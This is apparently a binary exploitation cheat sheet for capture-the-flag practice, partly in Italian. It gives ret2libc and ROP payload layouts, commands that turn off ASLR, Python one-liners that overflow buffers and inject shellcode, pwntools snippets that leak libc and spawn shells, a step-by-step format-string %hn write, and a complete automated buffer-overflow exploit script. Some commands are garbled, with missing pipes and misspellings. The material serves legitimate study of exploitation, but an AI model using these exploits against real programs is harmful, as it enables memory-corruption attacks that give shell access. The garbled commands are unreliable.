

# KNX BINARY EXPLOITATION CHEAT SHEET

Binary Exploit classification
Buffer Overflow
Heap Overflow
Format Strings
Integer Overflow
Off-by-one
Race Conditions
Stack Clash

Binary Exploit Mitigations
DEP (Data Execution Protection) (NX, XN, XD, W^X)
ASLR (Address Space Layout Randomization)
PIE (Position independent Executables)
RELRO (Relocation Read Only)
CANARY (Stack guard)
ASCII Armor

32bit Calli Convention
Args: stack right to left
Return: EAX

32bit Syscall
Syscall number: EAX
Args: ebx, ecx, edx, esi, edi
Args +6: struct in ebx
Return: EAX
Instruction: int 0x80

64bit Calli Convention
Args: rdi, rsi, rdx, rcx, r8, r9, stack right to left
Return: RAX

64bit Syscall
Syscall number: RAX
Args: rdi, rsi, rdx, rcx, r8, r9
Return: RAX
Instruction: syscall

BOF “Vanilla” payload
Buff+ ret +shellcode
Buff+ ret (shellcode addr in env)
Shellcode + padding + ret

Ret2libc
Buff+ function + ret + args
Buff+ system + exit + /bin/sh
Buff+system+exit+/bin/sh env

Chained Ret2libc
[&function]+[&rop_gadget]+[&arg1]+[&arg2]+[&next_function]

ASLR 32bit Bruteforce
while true; do ovrflow \$(cat input); done

Ret2PLT
[func address@plt]+[return]+[arg1]+[arg2]

GDB I/O
Use command output as an argument \$ r \$(your_command_here) <ul style="list-style-type: none"><li>• Use command as input</li></ul> \$ r < \$(your_command_here) <ul style="list-style-type: none"><li>• Write command output to file</li></ul> \$ r > filename <ul style="list-style-type: none"><li>• Use file as input</li></ul> \$ r < filename

Attack Vector
Ret2any <ul style="list-style-type: none"><li>- stack</li><li>- data / heap</li><li>- text</li><li>- library (libc)</li><li>- code chunk ( ROP )</li></ul>
Control input buffer <ul style="list-style-type: none"><li>- stack pivoting</li></ul>

ASLR Randomization
Randomized <ul style="list-style-type: none"><li>- stack address</li><li>- heap address</li><li>- library address</li></ul>
NOT randomized <ul style="list-style-type: none"><li>- .text / .plt / .init / .fini</li><li>- .got / .got.plt / .data / .bss</li><li>- .rodata</li></ul>

DEP Basics
No one memory segment can be writeable and executable at the same time
<b>Common data segments</b> <ul style="list-style-type: none"><li>- Stack, heap</li><li>- .bss .ro .data</li></ul>
<b>Common code segments</b> <ul style="list-style-type: none"><li>- .text .plt</li></ul>

Disable ASLR
echo 0   tee /proc/sys/kernel/randomize_va_space
sudo sysctl -w kernel.randomize_va_space=0

Library addresses
Idd program

Keep shell open
cat <(python -c 'print "A"*0x6c + "BBBB" + "\xf0\xb6\x64\x55" + "\xfa\x83\x04\x08"*2 + "\x00\x00\x00\x00")' -   ./a.out
(python -c "print 'a' *280+' \x9d\x06\x40\x00\x00\x00";cat)   ./vuln
(python -c 'import struct; print "A"*28 + struct.pack("l", 0x080484cb)'; cat -)   ./vuln

Find function address
objdump -d vuln2  grep give_shell

Check stack permissions
./vuln & cat /proc/<PID>/maps

Read EIP after segfault
dmesg  tail -n 1
python -c 'print "A"*140 + "BBBB"'   strace ./3_vulnerable

Python exploit OneLiner
python -c 'print "A"*140 + "BBBB" + shellcode'   ./vuln

Pattern offset OneLiner
pattern offset `echo 0x62413961  xxd -r   rev`
pattern offset \$(echo 0x`dmesg   tail -n1   awk '{print \$6}'`  xxd -r   rev)

Ret offset BruteForce
<b>Python script:</b> from struct import * from sys import * print "A"*80 + pack("l", 0xffffca00+int(argv[1])) + shellcode
<b>Bash:</b> for a in \$(seq 0 200); do echo \$a; ./chal \$(python knx.py \$a) ; done

GCC senza mitigations
gcc -m32 -o nome -fno-stack-protector -zexecstack nome.c

Enable Core Dump
ulimit -c unlimited

Find offset outside GDB
Bruteforce
analisi del core dump con gdb

Core dump static path
cat /proc/sys/kernel/core_dump
echo "/tmp/core.%s.%e.%p" > /proc/sys/kernel/core_pattern

GDB PEDA Commands
checksec
distance 0x7fffffff4f0 0x7fffffff528
elfsymbol
pattern create 64
pattern offset 0x48414132
procinfo
vmmap
find /bin/sh
set follow-fork-mode child

PwnTool Commands
from pwn import *
context(arch='i386', os='linux')
binary = ELF("some_challenge")
libc = ELF("some_libc")
r=process("./some_challenge")
r=remote("127.0.0.1",1337)
write = p32(binary.symbols["write"])
r.sendline("This sends a string with a newline appended to the end")
r.send("This also sends a string")
leak_addr = u64(p.recv(8))
libc_base_addr = leak_addr - libc.symbols['read']
system_address = libc_base_addr + libc.symbols['system']
sh_address = libc_base_addr + next(libc.search("/bin/sh\x00"))
p = process(program, timeout=2)
p.sendline(cyclic(1024))
p32(address)
p.interactive()
log.success("blah blah blah")
log.info("Start Stage 1)
p32(elf.plt['puts'])
p32(elf.symbols['main'])
shellcode = asm(shellcraft.linux.sh())
r.recv()
de = DynELF(leak, puts_leaked)
system = de.lookup('system', 'libc')
p32(elf.got['puts'])

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Format strings classic exploitation attack (write 2 bytes at time)
1. Find where input parameter is written into stack:    AAAA%x%x%x%x    (%x write a lot of times until we can see 414141 in the output
2. trovare l'indirizzo che ci serve sovrascrivere    (in questo esempio il valore check all'indirizzo 0xbffffb28)
3. sapere cosa vogliamo scrivere in quell'indirizzo :) (in questo caso 0xdeadbeef)
4. Una volta determinato il numero di parametro che scrive nello stack (in questo caso il 9) sostituire il %x con il %n che effettua la scrittura
5. Costruire la prima parte dell'indirizzo partendo dai byte meno significativi quindi in questo caso beef
6. calcolare il valore decimale di beef e sottrarre il numero di byte relativo alla lunghezza della format string (aggiustare un po in base ai risultati) \$(python -c'print "\x28\xfb\xff\xbf")'%x%x%x%x%x%x%x%x%48832x%hn
7. ora che la parte finale (beef) è scritta, aggiungere la prima parte ricordandosi che stiamo scrivendo due byte alla volta (%hn), altrimenti si può fare un byte alla volta usando solo %n. Se si usano due byte alla volta bisogna passare i due indirizzi distanti 2 byte, altrimenti passare 4 indirizzi distanti un byte uno dall'altro \$(python -c'print "\x28\xfb\xff\xbfJUNK\x2a\xfb\xff\xbf")'%x%x%x%x%x%x%x%x%48832x%hn. Si mette JUNK che sono 4 byte per padding (considerare che al valore decimale saranno da aggiungere 4 byte)
8. Costruire l'ultima parte dell'indirizzo (dead) sottraendo la prima parte (dead) alla seconda (beef) dead-beef = 1FBE = 8126 NB: se la sottrazione da valore negativo, si aggiunge un 1 davanti al primo numero per dare risultato positivo
9. Testare il tutto e nel caso aggiustare un po        \$(python -c'print "\x28\xfb\xff\xbfJUNK\x2a\xfb\xff\xbf")'%x%x%x%x%x%x%x%x%48832x%hn%8126x%hn

KNX Buffer Overflow Automatic PWN with pwntool (auto find EIP, return address and generate shellcode)
<pre>#!/usr/bin/python  from pwn import * context.arch='i386' program = "./vuln1-nocanary-execstack" shellcode = asm(shellcraft.linux.sh())  log.info("Start Stage 1: Finding EIP offset and Shellcode return address") p = process(program, timeout=2) p.sendline(cyclic(1024)) p.recvall() core = Core('core') eip = cyclic_find(core.eip) log.info("EIP control @ %i" % eip) ret = core.esp log.info("Shellcode return address@ %x" % ret)  log.info("Start Stage 2: Exploit") p = process(program, timeout=2) payload = "A"* eip + p32(ret) + shellcode p.send(payload) p.send("\n\nid\n") p.interactive()</pre>